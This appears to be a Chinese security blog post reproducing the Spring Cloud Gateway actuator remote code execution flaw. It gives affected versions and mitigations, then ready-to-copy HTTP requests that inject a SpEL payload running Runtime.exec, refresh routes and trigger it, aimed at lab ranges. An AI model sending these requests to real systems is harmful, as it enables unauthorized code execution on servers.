前言
Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。
这里花不多说开始复现,感谢大家对MHcloud的支持,这篇文章本来早就该写的,但是因为一些事耽误了,现在补上!
1.漏洞有影响版本
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
安全版本
Spring Cloud Gateway >= 3.1.1
Spring Cloud Gateway >= 3.0.7
2.修复建议
官方已发布漏洞补丁及修复版本,请评估业务是否受影响后,酌情升级至安全版本
临时缓解措施:
1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。
2.如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security。
3.开始复现
1.添加包含恶意的路由(直接把我的包复制bp就行啦,把ip还有端口改成你自己的)
POST /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.8.188:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 328
{
"id": "EchoSec",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
##显示这个状态就说明添加成功了
2.刷新网关路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.8.188:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
##这个界面表示刷新成功
3.触发我们添加的路由,命令执行
GET /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.8.188:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
##命令执行成功
注意
我遇到的问题,有的可能跟我操作一样,但是结果不一样,比如点击bp重发器发送没反应,这时候你直接在数据包最后面加两个回车就好了!
对了环境的问题,vulhub上面有现成的环境,不过需要自己搭建,如果你们闲麻烦的话,MHcloud这里给你们推荐一个线上的靶场vulfocus,这是白帽汇的产品。
地址:vulfocus
##现在你们可以尽情的去玩了哈哈哈
在这里MHcloud又要和大家说再见了,我是一个小菜鸡,大佬勿喷!!
本人理念:菜也要菜的理直气壮!!
MHcloud一个对网络安全充满憧憬的小菜鸡